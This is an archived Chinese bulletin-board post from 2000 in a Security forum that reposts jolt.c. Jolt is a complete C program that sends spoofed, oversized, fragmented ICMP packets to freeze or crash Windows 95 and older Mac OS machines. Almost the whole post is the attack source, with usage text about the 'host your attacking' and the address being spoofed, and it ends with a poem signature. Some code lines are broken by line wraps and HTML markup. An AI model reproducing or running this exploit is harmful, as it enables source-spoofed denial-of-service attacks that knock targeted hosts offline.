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<tr><td width="100%" colspan="2" height="100" align="center" valign="top"><br><p align="center">[<a href="index.htm">回到开始</a>][<a href="319.htm">上一层</a>][<a href="447.htm">下一篇</a>]
<hr><p align="left"><small>发信人: cloudsky (小四), 信区: Security <br>
标 题: jolt.c <br>
发信站: 武汉白云黄鹤站 (Mon Apr 10 11:42:32 2000), 站内信件 <br>
/* Jolt 1.0 (c) 1997 by Jeff w. Roberson <br>
* Please, if you use my code give me credit. Also, if i was the first to <br>
* find this glitch, please give me credit. Thats all i ask. <br>
* <br>
* Ok so all this does is build a really fraggmented over sized packet <br>
* and once win95 gets it, and puts it back together it locks. I send <br>
* multiple packets by default cause some times it takes a few packets to <br>
* totally freeze the host. Maybe its spending processor time to figure <br>
* out how to put them back together? I've had reports of people blue <br>
* screening from it tho so we'll let Microsoft's boys figure out exactly <br>
* what this does to 95. As of now i haven't tested it on NT, but maybe <br>
* i will later ;). All of this source wasn't origonally written by me <br>
* I just took one of the old programs to kill POSIX and SYSV based <br>
* systems and worked on it abit, then made it spoof =). <br>
* VallaH (yaway@hotmail.com) <br>
* <br>
* Update: It apears to work on some older versions of mac os <br>
*/ <br>
/* Yah this is for linux, but i like the BSD ip header better then linux's * <br>
/ <br>
/ <br>
#define __BSD_SOURCE <br>
#include <stdio.h> <br>
#include <sys/types.h> <br>
#include <sys/socket.h> <br>
#include <netdb.h> <br>
#include <netinet/in.h> <br>
#include <netinet/in_systm.h> <br>
#include <netinet/ip.h> <br>
#include <netinet/ip_icmp.h> <br>
#include <string.h> <br>
#include <arpa/inet.h> <br>
int main(int argc, char **argv) <br>
{ <br>
int s,i; <br>
char buf[400]; <br>
struct ip *ip = (struct ip *)buf; <br>
struct icmphdr *icmp = (struct icmphdr *)(ip + 1); <br>
struct hostent *hp, *hp2; <br>
struct sockaddr_in dst; <br>
int offset; <br>
int on = 1; <br>
int num = 5; <br>
bzero(buf, sizeof buf); <br>
if ((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW )) < 0) { <br>
perror("socket"); <br>
exit(1); <br>
} <br>
if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0) { <br>
perror("IP_HDRINCL"); <br>
exit(1); <br>
} <br>
if (argc < 3) { <br>
printf("Jolt v1.0 Yet ANOTHER windows95(And macOS!) glitch b <br>
y Va <br>
llaH (yaway@hotmail.com)\n"); <br>
printf("\nusage: %s <dstaddr> <saddr> [number]\n",argv[0]); <br>
printf("\tdstaddr is the host your attacking\n"); <br>
printf("\tsaddr is the host your spoofing from\n"); <br>
printf("\tNumber is the number of packets to send, 5 is the <br>
defa <br>
ult\n"); <br>
printf("\nNOTE: This is based on a bug that used to affect <br>
POSI <br>
X complient, and SYSV \n\t systems so its nothing new..\n"); <br>
printf("\nGreets to Bill Gates! How do ya like this one? :-) <br>
\n") <br>
; <br>
exit(1); <br>
} <br>
if (argc == 4) num = atoi(argv[3]); <br>
for (i=1;i<=num;i++) { <br>
if ((hp = gethostbyname(argv[1])) == NULL) { <br>
if ((ip->ip_dst.s_addr = inet_addr(argv[1])) == -1) { <br>
fprintf(stderr, "%s: unknown host\n", argv[1]); <br>
exit(1); <br>
} <br>
} else { <br>
bcopy(hp->h_addr_list[0], &ip->ip_dst.s_addr, hp->h_length); <br>
<br>
} <br>
if ((hp2 = gethostbyname(argv[2])) == NULL) { <br>
if ((ip->ip_src.s_addr = inet_addr(argv[2])) == -1) { <br>
fprintf(stderr, "%s: unknown host\n", argv[2]); <br>
exit(1); <br>
} <br>
} else { <br>
bcopy(hp2->h_addr_list[0], &ip->ip_src.s_addr, hp->h_length) <br>
; <br>
} <br>
printf("Sending to %s\n", inet_ntoa(ip->ip_dst)); <br>
ip->ip_v = 4; <br>
ip->ip_hl = sizeof *ip >> 2; <br>
ip->ip_tos = 0; <br>
ip->ip_len = htons(sizeof buf); <br>
ip->ip_id = htons(4321); <br>
ip->ip_off = htons(0); <br>
ip->ip_ttl = 255; <br>
ip->ip_p = 1; <br>
ip->ip_csum = 0; /* kernel fills in */ <br>
dst.sin_addr = ip->ip_dst; <br>
dst.sin_family = AF_INET; <br>
icmp->type = ICMP_ECHO; <br>
icmp->code = 0; <br>
icmp->checksum = htons(~(ICMP_ECHO << 8)); <br>
for (offset = 0; offset < 65536; offset += (sizeof buf - sizeof *ip) <br>
) { <br>
ip->ip_off = htons(offset >> 3); <br>
if (offset < 65120) <br>
ip->ip_off |= htons(0x2000); <br>
else <br>
ip->ip_len = htons(418); /* make total 65538 */ <br>
if (sendto(s, buf, sizeof buf, 0, (struct sockaddr *)&dst, <br>
sizeof dst) < 0) { <br>
fprintf(stderr, "offset %d: ", offset); <br>
perror("sendto"); <br>
} <br>
if (offset == 0) { <br>
icmp->type = 0; <br>
icmp->code = 0; <br>
icmp->checksum = 0; <br>
} <br>
} <br>
} <br>
return 0; <br>
} <br>
-- <br>
我问飘逝的风：来迟了？ <br>
风感慨：是的，他们已经宣战。 <br>
我问苏醒的大地：还有希望么？ <br>
大地揉了揉眼睛：还有，还有无数代的少年。 <br>
我问长空中的英魂：你们相信？ <br>
英魂带着笑意离去：相信，希望还在。 <br>
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